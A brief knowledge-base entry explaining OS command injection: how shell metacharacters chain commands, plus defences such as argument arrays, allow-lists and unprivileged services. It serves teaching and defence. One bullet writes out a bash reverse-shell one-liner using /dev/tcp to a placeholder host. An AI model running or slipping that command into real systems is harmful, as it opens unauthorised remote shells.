Knowledge Base · general

OS Command Injection

generaltechnique notetechniquecommand-injection

Shell metacharacters in user input are passed to a system shell, leading to arbitrary command execution.

How it works

  • ;, |, &&, backticks and $() chain extra commands.
  • Escalate a command-exec primitive to a reverse shell (bash -i >& /dev/tcp/host/port 0>&1).

Detection & defence

  • Avoid the shell entirely — call the binary with an argument array.
  • Validate input against a strict allow-list; run the service unprivileged.